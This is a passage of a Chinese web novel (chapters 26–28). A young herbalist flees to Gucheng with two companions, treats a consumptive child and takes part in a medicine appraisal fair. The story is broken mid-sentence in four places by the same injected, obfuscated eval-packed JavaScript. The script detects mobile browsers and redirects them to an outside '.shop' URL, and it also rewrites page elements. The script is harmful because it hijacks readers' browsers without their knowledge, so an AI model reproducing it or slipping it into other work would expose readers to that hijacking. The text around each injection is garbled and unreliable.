许娇娇闭上眼,深吸了一口气。这些日子,她反复思量过眼前的局面。硬碰硬?她一个九岁的孤女,拿什么去碰王大官人那棵大树?水仙姑明面上或许会收敛,可暗地里的手段呢?买凶?纵火?诬陷?随便哪一样,都足以让她和静尘静心万劫不复。 她睁开眼,目光扫过这片自己一手打理起来的药圃,这间遮风挡雨的茅屋,最后落在静尘和静心担忧的脸上。 不,不能硬来。 鸡蛋碰石头,碎的只能是鸡蛋。她现在最需要的不是逞一时之勇,而是时间和空间——让自己长大、让羽翼丰满的空间。 “师姐,”许娇娇的声音异常冷静,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222036|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们得离开这里。” 静尘一怔:“离开?去何处?” “去菰城。”许娇娇眼神坚定,“我们一起走,带上旺财,带上所有能带走的东西。” 这个念头一旦清晰,便如拨云见日。留在这里,永远是靶子,永远被动挨打。去菰城,或许是一条生路。虽然前路未知,但总好过坐以待毙。 “可是娇杏,”静尘握住她的手,指尖冰凉,“这药圃,这屋子……还有,我们能去哪儿?菰城人生地不熟……” “药圃可以再种,屋子可以再盖。”许娇娇反握住她的手,声音虽轻却有力,“但人没了,就什么都没了。师姐,水仙姑恨我入骨,更恨你们背叛。她就是一条藏在阴暗中的毒蛇,随时会扑上来咬人。” 她顿了顿,继续分析道:“菰城那么大,比归平县大多了,而且菰城没有王大官人,我们在那边刚开始生活艰难点,但比在此地强很多,我们慢慢寻找安身之处,也好过在这里日夜提防,不知何时祸从天降。” 静尘看着许娇娇稚嫩却异常沉稳的脸庞,心中的慌乱渐渐平息。是啊,娇杏说得对。留在这里,就像守着随时会喷发的火山。 “好。”静尘重重点头,“我们一起走,什么时候动身?” “越快越好。”许娇娇当机立断,现在就准备,我们三日后走。尽量不要惊动旁人。” 正说着,山下传来旺财的吠叫,带着一丝警惕而非亲热。许娇娇心头猛的一跳,快步走到崖边,只见一个陌生汉子正沿着山路往上爬,看打扮不像本地农人。 “师姐,带静心进屋。”许娇娇低声道,自己则从袖中摸出一包药粉捏在手里,站在院中静候。 来人是个三十来岁的精壮汉子,穿着半旧靛蓝短打,肩搭褡裢。他走到篱笆外,拱手问道:“请问,许娘子可住此处?” 许娇娇打量他片刻,见其神色坦荡,便上前应道:“正是我,您是?” 汉子脸上露出笑容:“可算找着了!小的是从菰城来的,张记生药铺的东家托我给姑娘带个口信。” 许娇娇暗暗松了口气,将人请进院。汉子自称姓陈,是张记的伙计,常跑这一带收药材。他喝完静尘递上的水,抹了把嘴道:“东家让我告诉姑娘,铺子里最近收了一批上好的川贝母和黄芪。东家说姑娘识货,若有空,不妨去铺子里看看,顺便商量些事情。”说着,取出一封信,“这是东家亲笔信。” 许娇娇拆信,字迹确是张东家的,内容与陈伙计所言一致,但末尾添了一句:“近来菰城医药行当有些变动,对小娘子或有裨益,望速来商议。” 她沉吟片刻,问道:“陈大哥,若我们……不止一人前往,东家可方便安排?” 陈伙计一愣,看了看一旁的静尘,随即笑道:“姑娘指的是这两位师父?东家信中既未明言,想必无碍。姑娘放心,东家既诚心相邀,必会周全。” 许娇娇心下稍安,送走陈伙计后,将决定告诉了静尘和静心。 静心有些害怕:“娇杏,我们真要走吗?我……我没出过远门。” “静心,留下更危险。”许娇娇温和却坚定地说,“水仙姑不会放过我们。去菰城,是眼下最好的选择。” 接下来的三日,茅屋里异常忙碌,却进行得悄无声息。 许娇娇先是去了一趟落溪村,只找了李婆子一人,含糊说菰城张记生药铺的东家请她去菰城见识学习,归期未定,托李婆子得空帮忙照看下后山的屋子。李婆子心中虽有些不舍,但更多的则是替娇杏欢喜,她笑着满口答应。 26. 第26章 医治禾娘 她们开始悄悄整理行装。最值钱的是那些炮制好的药材:柴胡、当归、金银花、自制的金疮药和清热丸,分门别类用油纸包好。许娇娇把爹娘留下的骨针、小药锄和用红色络子挽着的半块羊脂玉佩,仔细收进贴身的荷包。这半块玉佩是许大郎夫妻唯一留给许娇杏最值钱的东西,玉质细腻,触手温润,不知为何只有半块。攒下的几两碎银和铜钱,分成三份,三人各自缝在衣内。 “地窖里的粮食带不走,”静尘有些惋惜,“还有这些腌菜……” “带不走的就不带。”许娇娇很果断,“只带必需的、值钱的。衣物拣厚实耐穿的,每人一个小包袱,不能显眼。” 旺财似乎察觉到什么,这几日格外粘人,许娇娇走到哪儿它跟到哪儿。许娇娇揉着它的脑袋:“旺财,我们要出远门了,你得跟着,路上要机灵些。” 第三日夜里,一切准备就绪。三个姑娘挤在床边,望着这间住了许久的茅屋,心中五味杂陈。 “娇杏妹妹,”静尘轻声道,“这屋子……我们还会回来吗?” 许娇娇沉默片刻:“也许会,也许不会。但只要我们三个在一起,平安活着,哪里都可以是家。” 窗外月光如水,山野寂静。许娇娇望着窗棂上的树影,心中默默盘算:菰城之行,是逃离,也是新的开始。她必须在那里站稳脚跟,不仅为了生存,更是为了有朝一日,不必再这样仓皇逃离。 她不知道,就在同一片月光下,水月庵的后院里,黑老三正对着几个地痞吩咐:“……看清楚了,就这三个丫头片子。记住,要活的!” 第四日清晨,天刚蒙蒙亮,许娇娇、静尘、静心便背着包袱悄悄出了门。旺财跟在脚边,时不时警觉地回头张望。许娇娇最后看了一眼在晨雾中渐渐模糊的茅屋和药圃,心中有不舍,但更多的是一种破釜沉舟的决绝。 “走吧。”她轻声说,转身率先下山。 三人一狗沿着山道小心前行,尽量避开可能被人看见的大路。走到半山腰时,静心脚下一滑,险些摔倒,被静尘及时扶住。这一耽搁,许娇娇无意间回头,瞥见上方树林似乎有影子一闪而过。 她心头一跳,低声道:“快走。” 赶到落溪村村口时,陈伙计已赶着驴车等在那里。见她们三人带着行李和狗,愣了一下,随即了然,什么也没多问,只笑道:“都来了就好,上车吧,咱们赶早出发。” 驴车吱呀呀上了官道。许娇娇回头,望着逐渐远去的群山和村庄,那个她重生后挣扎求生、也收获了温暖的地方,渐渐消失在视野中。 路上,许娇娇将水仙姑可能报复的担忧告诉了陈伙计。陈伙计闻言皱起眉:“若真如此,你们早走是明智的。菰城那么大,藏几个人容易。东家也有些门路,总能护你们一时周全。” 晌午前,驴车到了青石镇,准备打尖吃饭。刚进镇子,便见前方围了一群人,传来撕心裂肺的哭嚎。陈伙计勒住驴车,许娇娇探头望去,只见一个衣衫褴褛的老妇人瘫坐在地,抱着一个空瘪的蓝布包袱哭喊:“我孙女的药啊!全没了!哪个天杀的偷了……” 听周围人议论,老妇人的孙女得了肺痨,那是她当掉最后家当抓的三剂救命药。 许娇娇心里像被揪了一下。她看了看静尘和静心,又看了看自己一行人简单的行囊。她们也在逃难,前路未卜…… 可那哭声太绝望。 她咬了咬牙,下了车,分开人群走到老妇人跟前蹲下:“阿婆,您先别急。我懂些医术,您带我去瞧瞧孩子,可好?” 原来,老妇人的孙女禾娘年方九岁,咳了已近三月,近日愈发严重,痰中带血,夜里盗汗,已是肺痨重症的症候。镇上大夫开了方子,言明需用川贝母、杏仁、桑白皮、麦冬等药徐徐图之。老妇人咬牙当了最后一件嫁妆,才抓来三剂药,如今竟全丢了。 到了那间破败的茅屋,许娇娇见到了病榻上的禾娘。孩子面颊潮红,呼吸急促,瘦得只剩一把骨头。她上前仔细诊了脉,又查看了舌苔、眼睑,心中已有计较。 “阿婆,”她转身,语气沉稳,“禾娘这病是肺阴亏虚,虚火内灼。镇上大夫的方子本是正理,只是……”她顿了顿,环顾这家徒四壁的屋子,“那方子里的川贝母价贵,且药性稍缓,于眼下之急,或可权变。” 她在老妇人惊疑不定的目光中,从容地从自己随身的布包里取出纸笔——那是她平时记药性用的。略一沉吟,便提笔写下一方:“您按这个去抓药。用沙参替川贝母,滋阴润肺、加地骨皮清虚热,仙鹤草止血。这几味药山间常见,药铺里也便宜,先抓五剂。” 见老妇人捏着药方的手还在抖,许娇娇又从怀里数出百来文钱,轻轻塞进她手里:“阿婆,药要紧。若信得过我,就赶紧去抓药,禾娘耽误不得。” 老妇人握着那尚有体温的铜钱和药方,看着眼前这眼神清亮、举止却沉稳得不似孩童的小娘子,嘴唇哆嗦着,泪水再次涌出,这回却是滚烫的:“小娘子……您、您真是菩萨派来救苦救难的啊!” 许娇娇扶住她要下跪的身子,只是摇了摇头:“见病当医,是医者本分。” 她没再多言,辞别千恩万谢的老妇人,回到驴车上。陈伙计将一切看在眼里,姑娘年纪虽小,却是菩萨心肠。” 许娇娇望着窗外飞掠的田野,心中那个念头越发清晰:她需要力量,不仅仅是安身立命的力量,更是能保护想保护之人、帮助该帮助之人的力量。 而她们身后,黑老三派去的人扑了个空,对着空荡荡的茅屋气急败坏。消息传回水月庵,水仙姑砸碎了手边最爱的白瓷茶盏,脸色狰狞如鬼。 “跑了?”她尖声厉笑,“跑得了和尚跑不了庙!许娇杏,你们以为跑了我就拿你们没办法?咱们……走着瞧!” 驴车在官道上平稳行驶,路两旁是刚刚插秧的稻田,农人们在田间忙碌,一片春耕景象。许娇娇望着这一切,忽然想起前世,想起自己曾经以为重要的那些东西——财富、地位、别人的羡慕。 现在她才明白,有一种踏实,是脚踩在泥土里的踏实;有一种安心,是知道自己做的事能帮到别人的安心。 “陈大哥,”她忽然开口,“如果我想在菰城开个小药铺,您觉得可行吗?” 陈伙计一愣,随即笑道:“怎么不可行?姑娘的医术我是亲眼见过的,张博士也常说,姑娘若是男儿身,早就声名远扬了。不过——”他顿了顿,“开药铺需要本钱,也需要人脉,最重要的是要有坐堂大夫的资格。姑娘年纪小,又是女子,恐怕不容易。” 许娇娇点点头。这些她都知道,但她想试试。不仅是为自己,也为静尘和静心,为那些可能像她们一样无依无靠的女子,谋一条生路。 三月的风还有一丝丝凉意,方才那屋里的有些阴冷、禾娘急促的呼吸、老妇人掌心粗砺的触感,却无比清晰地烙在她心头。 这个世间,有人鲜衣怒马,掷千金只为一笑;也有人家徒四壁,为几文药钱便能逼上绝路。 有些事,看见了,心便再也退不回没看见的境地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222037|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这与年纪大小无关,与银钱多寡,更无干系。无非是……遵从那点生于心见于病的本分罢了。 车轮辘辘,碾过崎岖的官道。 菰城的清晨,雾还未散尽。 青石板路上湿漉漉的,早起的货郎挑着担子,吱呀吱呀走过,留下两行浅浅的水印。街边的铺面陆续卸下门板,伙计们拿着扫帚清扫门前,哗啦哗啦的声响在晨雾里传得格外远。 张记生药铺门口已经排起了队。都是些穷苦百姓,有的捂着胸口咳嗽,有的抱着啼哭的孩子,有的搀扶着步履蹒跚的老人。伙计阿福在门前发号牌,一面维持秩序:“都别挤,排好队!李真人辰时三刻开始坐诊,一个个来!” 许娇娇、静尘、静心三人跟着陈伙计的驴车到铺子后门时,看见的就是这番景象。 “姑娘们这边请。”陈伙计领她们绕过人群,从侧门进了后院。 后院比前头清静许多。三间厢房围合的天井,青石板缝里长着茸茸的青苔,墙角那丛翠竹在晨雾中绿得发亮。厨房的烟囱冒着袅袅青烟,空气里飘着米粥的香气。 静心紧紧挨着静尘,好奇又胆怯地打量着这个陌生的地方。旺财似乎也有些不安,贴着许娇娇的腿,耳朵警惕地竖着。 三人一狗正在打量着这个院子,就见张东家从药铺的后门出来,笑呵呵迎上来:“都来了就好!路上辛苦了!”他目光温和地扫过静尘和静心,陈伙计显然已经提前知会过,“这就是静尘、静心两位小师父吧?到了这儿就当自己家,莫要拘束。” 静尘合十行礼,声音还有些紧绷:“叨扰东家了。” “哪里的话!”张东家摆手,“后院东厢房有两间屋子,我让人收拾出来了。你们先安顿下来,吃过早饭再说。” 他引着三人去看房间。东厢房确实收拾得干净整洁,一间稍大,放着两张床铺,显然是给静尘静心准备的;一间稍小,只有一张床,是为许娇娇准备的。虽简陋,但床褥都是新晒过的,透着阳光的味道。 “你们就安心住下。”张东家温声道,“后院平日就我和几个伙计,清静。厨房米面都有,想吃什么自己做,不必客气。”他顿了顿,看向许娇娇,“许小娘子,李真人一会儿就该来了。你先安顿,早饭在厨房,吃过便到前头来。” 许娇娇感激地点头:“多谢张伯。” 三人简单收拾了行李。静尘把包袱里的衣裳一件件叠好放进柜子,静心则好奇地趴在窗边,看天井里那丛翠竹。旺财在屋里转了几圈,找了个角落趴下,似乎终于放松了些。 “娇杏,”静尘轻声道,“张东家待我们这样好,我们……不能白住。我和静心也能做些活计,洒扫、洗衣、做饭都行。” 许娇娇正有此意:“师姐说得是。等安顿下来,我去跟张东家说,咱们帮着铺子里做些杂事,也算一份心意。” 厨房里,小米粥熬得稠稠的,还有一笼白菜豆腐包子。三人围着小桌吃了来到菰城的第一顿饭。热粥下肚,连日的奔波疲惫似乎消解了不少。 前堂传来一阵喧哗。隐约听见阿福在喊:“劳烦让一让!李真人来了!” 许娇娇忙放下碗:“师姐,静心,你们先歇着,我去前头看看。” 静尘站起身:“我跟你一起去吧。虽不懂医术,但搬药材晒药材我还算熟悉,或许能帮上忙。” 静心也小声道:“我、我可以扫地……” 许娇娇看着两人眼中那份想出力、不安于白吃白住的神情,心中一暖:“好,咱们一起去。” 27. 第27章 沈夫人道谢 三人来到前堂,果然见李真人刚进门。今日他穿着一身半旧的石青色道袍,外罩一件鸦青比甲,手里提着个药箱。虽已年过六旬,步履却稳健,眼神清亮,一进门便对排队的病人拱手:“诸位久等了,老夫这就开始。” 他径直走到屏风后的诊案前坐下,打开药箱,取出脉枕、笔墨。阿福赶紧上前,按号牌叫第一个病人。 许娇娇站在柜台后静静看着。 第一位病人是个老妇人,捂着胸口,咳得脸都红了。李真人让她坐下,三指搭上腕脉,闭目凝神听了片刻,又让她伸出舌头看了看,这才温声道:“阿婆,你这咳嗽有几日了?” “有……咳咳……有七八日了。”老妇人喘着气道,“夜里咳得厉害,睡都睡不着。” “痰是什么颜色?” “白的,稀稀的。” 李真人点点头,提笔开方。许娇娇踮起脚尖,远远望见方子上写着:麻黄二钱、杏仁三钱、甘草一钱、生姜三片、大枣三枚。是麻黄汤加减。 开完方,李真人又叮嘱:“回去用三碗水煎成一碗,趁热服下,盖好被子发汗。这几日忌食生冷油腻,多喝热水。” 老妇人千恩万谢,拿着方子来柜台抓药。许娇娇忙结过方子,仔细看了看,便转身去药柜。她动作虽不快,却稳当,拉开标着“麻黄”的抽屉,取出戥子,仔细称出二钱,倒在黄纸上。接着是杏仁、甘草……每味药都称得准,包得方正。 张铺主在一旁看着,暗暗点头。 最后算账:“一共十五文。” 老妇人从怀里摸出个破旧的荷包,倒出十几枚铜钱,一枚一枚数了,小心翼翼放在柜台上。 静尘则帮着擦拭桌椅,静心默默拿起扫帚,将门口病人踩进来的泥渍扫干净。 一个上午,李真人看了三十多个病人。 到晌午时分,病人终于少些。李真人得空歇息,许娇娇连忙奉上热茶:“李大夫辛苦,快喝口茶润润喉。” 李真人接过茶碗,啜了一口,目光落在许娇娇身上,又看了看在一旁整理药材的静尘和静心:“这三位是……” 张博士忙道:“这位就是我跟您提过的许大郎的遗孤许小娘子。这两位是她的姐姐,静尘和静心。”又对许娇娇道,“快来见过真人。” 许娇娇上前,恭恭敬敬行了个礼:“民女许娇杏,见过真人。”静尘和静心也过来行礼。 李真人打量许娇娇片刻,微微颔首:“听张大夫说,你颇通药理,自己配的药茶药丸都极好。” “民女不敢当,只是跟着家父曾学过些皮毛。”许娇娇谦道。 李真人也不多问,只道:“既来了,便在一旁看着吧。多看多学,总有益处。” 许娇娇急忙应诺。 李真人点点头,不再多言。 午后,病人又陆续来了。许娇娇站在李真人身侧,看他诊脉、问诊、开方,偶尔李真人会考她几句:“丫头,你看这位大娘是什么症候?” 许娇娇仔细看了看病人的面色、舌苔,又听了症状,谨慎答道:“面黄肌瘦,舌淡苔白,食欲不振,大便稀溏……该是脾胃虚弱。” 李真人点头:“如何治?” “当健脾益气。可用四君子汤加减。” “若病家贫寒,用不起人参呢?” 许娇娇想了想:“可用党参替代,虽效缓,却也有效。再加些炒白术、茯苓、炙甘草,脾胃虚寒的再加些干姜。” 李真人眼中露出赞许之色,却不多夸,只道:“记下了。” 这般边看边学、边帮忙边适应,一晃便是三日。 这三日里,许娇娇白日跟着李真人学诊脉开方,夜里便在后院研读医书,张博士把铺子里所有医书药典都搬出来任她翻阅,李真人得空时也会指点她一二。静尘和静心把后院打理得井井有条,连旺财都习惯了趴在药铺门槛内,看着来往行人。 三人渐渐融入了菰城的生活,那份初来乍到的不安,被忙碌与充实冲淡了许多。只是夜深人静时,许娇娇望着窗外的月亮,仍会想起山上那座茅屋,想起可能还在搜寻她们的水仙姑。 到第三日下午,病人渐少。李真人看完最后一个病人,收拾药箱时,忽然对许娇娇道:“丫头,你随我来。” 许娇娇一愣,忙跟了上去。 李真人领着她出了铺子,沿着青石板路往西走。穿过两条街巷,来到一处僻静的茶楼。 小二认得李真人,连忙迎上来:“真人来了!楼上雅间您的客人正等着呢!” 李真人点点头,带着许娇娇上了二楼。 二楼雅间里已经坐着两个人。一位是四十来岁的中年妇人,穿着素雅的藕荷色褙子,头发梳得一丝不苟,神色间透着几分焦急。她身边坐着个小娘子,约莫十三四岁年纪,穿着一身鹅黄襦裙,脸色还有些苍白,正是元宵夜许娇娇在灯会上救下的那位。 许娇娇心头一跳。 那妇人见李真人进来,连忙起身:“叔父,您可来了!”随即目光落在许娇娇身上,眼中闪过一丝诧异,又带着询问望向李真人。 李真人温声道:“你猜的没错,这位就是许姑娘,淑宁的救命恩人。”又对许娇娇介绍,“这是老夫的侄女,夫家姓沈,这是她女儿,沈家三娘子,闺名淑宁。” 沈夫人上前两步,仔细端详许娇娇,眼中满是感激:“原来就是姑娘!我可是找了姑娘许久,若不是这回叔父来此坐诊,听那张记的东家说起,恐怕将救命恩人错过了。姑娘可还记得一年多前的那个元宵夜?若不是姑娘仗义施救,淑宁怕是……”她说着,眼圈就红了。 沈淑宁也起身,向许娇娇盈盈一拜:“淑宁多谢许娘子救命之恩。” 许娇娇忙还礼:“夫人、娘子快别这样,不过是举手之劳。” 几人坐下,沈夫人细细说起当日的事,又问及许娇娇的近况。得知她带着两位姐姐暂居张记生药铺,沈夫人温声道:“姑娘仁心仁术,又有担当。若有什么难处,尽管开口。沈家在菰城还有些薄面,或可相助。” 许娇娇心中感动,却只道:“多谢夫人关怀。张东家待我们极好,眼下并无难处。” 沈夫人见她不愿多受恩惠,也不勉强,从袖中取出一块玉佩递给她:“这玉佩你收着。日后若遇难处,可凭此玉佩到府城沈家找我。” 许娇娇推辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们是一家人。”许娇娇反握住她的手,语气坚定,“自然要一起筹划未来。” 晚饭后,许娇娇点起油灯,她想起前世曾参加的那些中医研讨会,那名堂就多了,针灸、药理、临床、中西医结合等、五花八门。各种各样的学术研讨会。也不知菰城的中医药鉴别会什么样?许娇娇心里有些期待。 静尘在一旁默默帮她整理药材样本,静心则轻手轻脚地研墨。 夜深了,后院厢房的灯光久久未熄。 窗外传来更夫的梆子声,已是二更天了。菰城渐渐安静下来,只有远处偶尔传来几声犬吠。 许娇娇揉了揉发酸的眼睛,望向窗外朦胧的月色。前路依然未知,水仙姑的威胁如阴影未散,但此刻,在这间小小的厢房里,在静尘和静心均匀的呼吸声中,她感到一种久违的踏实。 她吹熄油灯,躺到床上。明天,她要更努力地学习,为了十日后的医药鉴别会,也为了她们三人能在菰城扎根。 月光如水,静静流淌过窗棂,照亮少女沉睡中仍微微蹙着的眉,和那紧紧攥在手中的、写着“杏林盛会”的洒金红帖。 28. 第28章 中医药鉴别会(一) 三月十八,菰城起了薄雾。 天光未亮时,街巷还沉浸在墨色的寂静里。打更的梆子声刚歇,更夫佝偻的身影转过街角,消失在雾霭中。东市那家王记豆腐坊最先亮起灯,磨豆子的石磨声咕噜咕噜响起,豆腥气混着水汽,在雾里弥散开。 张记生药铺后院,鸡鸣时分便有了动静。 静尘轻手轻脚起了床,怕吵醒里间的许娇娇。她推开房门,晨雾立刻涌了进来,带着菰城特有的、混杂着河水与早炊的潮湿气息。厨房里已经亮着灯,静心正踮着脚往灶膛里添柴,锅里的小米粥咕嘟咕嘟冒着泡。 “静心!”静尘系上围裙,“周婶还没到,你到起的这般早。” “娇杏今日要去那个盛会,我想让她吃口热乎的。”静心回过头,脸上被灶火映得红扑扑的,“我还蒸了素包子,白菜豆腐馅的。” 静尘心里感慨。自打来到菰城,静心的话多了些,人也活泛了。她洗了手,帮着捏包子褶:“是啊,今日是娇杏的大日子。咱们帮不上别的,至少让她安心去比试。” 卯时三刻,许娇娇也醒了。她其实一夜浅眠,脑子里反复过着今日可能遇到的药材、方剂。推开门,见张记原先的厨娘一脸笑意的一边在厨房忙碌着,一边和静尘和静心俩说着什么,小米粥的香气扑面而来。 “师姐,静心,周婶子,你们起这么早?” “起来了?快洗漱,来吃饭。”静尘端着包子出来,“今日要耗神,得多吃些。” 娇杏坐在小桌边咬了口包子,白菜清甜,豆腐软嫩,火候正好。她抬头看着静尘眼下的淡青,又看看静心被蒸汽熏红的脸,心里涌起一股暖流。 “你们别光顾着我,自己也多吃点。”许娇娇一边喝粥一边让着她们三人。 “姑娘今日要去这么重要的医药会,东家昨日就关照我,”周婶一边摘菜一边笑着道:“我可不着急,姑娘吃好了好好发挥,争取将咱们药铺的名头打出去。” “多谢婶子,”许娇娇温声道:“给婶子添麻烦了。” “哪里话,这是我分内的事,可不敢当姑娘的谢。”周婶子连忙摆手。 静心小声道:“娇杏,我和静尘师姐商量了,今日铺子里病人多,我们留在铺子里帮忙做些杂事,你好安心去比试。” 许娇娇一愣:“那盛会……” “盛会我们去了也看不懂。”静尘温声道,“倒不如在铺子里做些实在事。你放心去,旺财我们看着,铺子我们也照应着。等你回来,跟我们说说盛会见闻便是。” 许娇娇鼻尖有些发酸。她知道,静尘静心是怕拖累她,也是真心想为这个临时的“家”出力。 正吃着,前堂传来陈伙计的声音:“许娘子可起了?东家让问问,什么时候动身?” 辰时初刻,许娇娇跟着张东家出了门。 北瓦子早已人声鼎沸。这菰城最大的杂耍场子今日全然变了模样,中心广场搭起三座丈许高的木台,台前木牌朱笔写着“川广生药”“南北药材”“本土道地”。凉棚下,穿青衫的文书正给参评的药商登记,队伍排得老长。 张东家今日特意穿了身崭新的靛蓝直裰,头戴方巾,手里提着个樟木匣子。许娇娇背着蓝布包袱,紧紧跟着。 两人挤到登记处,排队等了约莫一炷香时间。登记的文书看了张东家的名帖:“南街张记生药铺张之和?呈何药材?” “老山参一支,川贝母一包,另有些自家炮制的柴胡、当归。”张东家恭声道。 文书在名册上记下,递来两块木牌:“丙字十七号。药材送到丙字台候着,辰时三刻开始鉴评。” 丙字台是“本土道地”的鉴评处,台前已经堆了不少药材。晒干的茯苓大如斗笠,整捆的桂枝香气扑鼻,成筐的金银花开得正盛。 台上三位老者端坐着——须发皆白的周行老,江南道医药行会的副会首;左边是李真人;右边是仁心堂的孙大夫。侧后方另设一席,端坐着一位神色肃然、身着太医署青绿官袍的中年人——特邀观裁的王太医。 辰时三刻,锣声三响。 周行老站起身,声音洪亮:“诸位——今日乃我江南道医药鉴别盛会首日,鉴生药,辨水土之精……” 鉴评有条不紊地进行着。甲字台多是川广来的贵重药材,乙字台是南北各地的普通药材,行老们鉴得仔细,每样都要观形、闻气、尝味,问清产地、采收、炮制。 许娇娇静静看着,手心微微出汗。她知道,张记铺子的药材虽好,但在这些见过世面的行老眼中,未必算得上顶尖。 同一时辰,张记生药铺前堂。 静尘和静心俩人拿着抹布,将柜台、长凳擦得锃亮。旺财趴在门槛内,黑亮的眼睛望着街上来往行人。 辰时三刻,第一个病人上门了。 是个咳嗽的老汉,拄着拐杖,咳得腰都弯了。静尘忙上前扶他坐下:“老人家,您稍等,我这就去请廖大夫。” “不用请,不用请。”廖大夫笑呵呵从后堂出来,在医案后坐定,让老汉伸出手,三指搭上腕脉,脉象浮紧,舌苔薄白。 “老人家,咳嗽几日了?痰是什么颜色?”廖大夫声音温和。 “五、五天了……痰是白的,清稀的。” “可是怕风?身上疼不疼?” “怕,怕风!骨头缝都疼!” 廖大夫心中有了数,提笔开方,写下:麻黄二钱、杏仁三钱、甘草一钱、生姜三片、大枣三枚。写罢,又抬头问老汉:“家里可有人煎药?若不方便,铺子里可以代煎,加两文钱就好。” 老汉连连点头:“好好,你们煎,我眼神不好,怕煎坏了。” 静尘已经利落地按方抓药,包好药,又记下老汉的住址:“未时来取就好。” 老汉千恩万谢地走了。 廖大夫拍拍她的肩:“做得很好。字也写的尚可。能记住药名,认得药材已是不易,且还知道替病人着想。许小娘子教的不错。” 静尘脸色微红的点头。 “娇杏很厉害的。”静心笑着在后面补了一句。 廖大夫也点头,“确实,许小娘子医术好,医德人品也佳。” 一上午铺子里来了十几个人,陈伙计和其他几个伙计忙着去码头搬药材,万大夫出诊了,只有廖大夫在,幸好静尘如今能上手帮着抓药。帮了廖大夫不少忙,廖大夫专心问诊,也快了许多。静心则洒扫煎药,两人配合还挺默契。旺财也机灵,见有孩童哭闹,便凑过去摇尾巴,孩子破涕为笑。 午时,病人少了些。静心去厨房热了早上剩的包子,先端给廖大夫吃,接着两人坐在柜台后慢慢吃着。静心小口咬着包子,忽然道:“静尘师姐,你说娇杏现在在做什么?” 静尘望向北瓦子的方向:“该是在鉴评吧。那么多药材,那么多行老,她一定很紧张。” “娇杏真厉害。”静心小声道,“她肯定能行。” “是啊。”静尘微笑,“她总是能行。” 北瓦子广场上,鉴评已近午时。 司仪唱名:“丙字十七号——‘张记生药铺’,呈老山参一支,川贝母一包,柴胡、当归各三斤!” 张东家深吸一口气,抱着木匣上了台。许娇娇跟在他身后,垂手站着。 周行老打开木匣,先取出了那支老山参。参须完整,芦头清晰,体态玲珑。他端详良久,又递给李真人和关、孙两位大夫传看。 “参龄应在五十年上下。”李真人拈须道,“芦碗密集,体态清瘦,须条柔韧,是长白山所产的正品野山参。” 孙大夫点头:“参气清醇,回味甘甜,炮制也得法。” 周行老记下:“丙字十七号,长白山野山参,五十年份,炮制得法,评甲中。” 接着是川贝母,评了甲下。 轮到柴胡和当归时,周行老顿了顿。他拿起一片柴胡,对着日光照了照,眉头微皱:“这柴胡……炮制手法有些特别。” 张东家忙道:“这是铺子里学徒炮制的,用的是家传古法。” 周行老看向许娇娇:“小姑娘,是你炮制的?” 许娇娇上前一步:“回行老话,是我所制。” “说说,如何炮制?” “回行老,柴胡采回后,趁鲜切片,不用水洗。晾至半干时,用米酒喷润,文火慢炒至微黄。”许娇娇声音清晰,“如此能去燥性,保药效。” 周行老眼中闪过一丝讶异。他转向李真人:“真人以为如何?” 李真人仔细看了看断面,尝了尝,缓缓道:“酒性温和,助药上行而不燥。火候把握极好——外微黄而内仍白,恰到好处。” 关大夫也点头:“当归切片均匀,色泽油润,炮制也得法。可评乙上。” 周行老沉吟片刻,在名册上写下:“柴胡、当归,炮制得法,药性保全,评乙上。” 下了台,张东家有些紧张和激动:“娇杏,听见没?乙上!” 许娇娇却看向台上。鉴评还在继续,各色药材轮番登场。她忽然明白李真人为何要她来——不仅是崭露头角,更是让她亲眼看看,真正的医药之道是什么样子。 午时鉴评暂停。广场四周支起了小吃摊子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“无妨。”周行老摆摆手,“丸、散、膏、丹,根基皆在炮制。你既精于此道,明日比试,未必没有机会。”他转向张东家,“张记铺子往年成绩平平,今年能有这般进益,实属难得。你好生栽培这丫头,莫要埋没了。” 从茶肆出来,已是黄昏。 回铺子的路上,张东家难掩激动:“娇杏,周行老亲自夸你!这可是天大的机缘!” 许娇娇却有些不安:“张伯,明日的比试……民女心里没底。” “怕什么?周行老说了,基础在炮制。你炮制药材的本事,连行老都认可,还怕制不好丸药?”张东家安慰她,“今夜咱们好生准备一番!” 回到生药铺,周婶子和静心已备好了晚饭。听张东家说了今日的事,静尘眼中闪着光:“娇杏,我就知道你能行。” 店里的廖大夫和伙计听说了张记生药铺晋升明日的赛事,也都十分高兴,万大夫出诊不在。静心则满面欢喜。 饭罢,许娇娇回到后院准备。静尘默默帮她整理药材,静心轻手轻脚地研墨。 “师姐,静心,你们累了一天,快去歇着吧。”许娇娇看着两人眼下的倦色,心疼道。 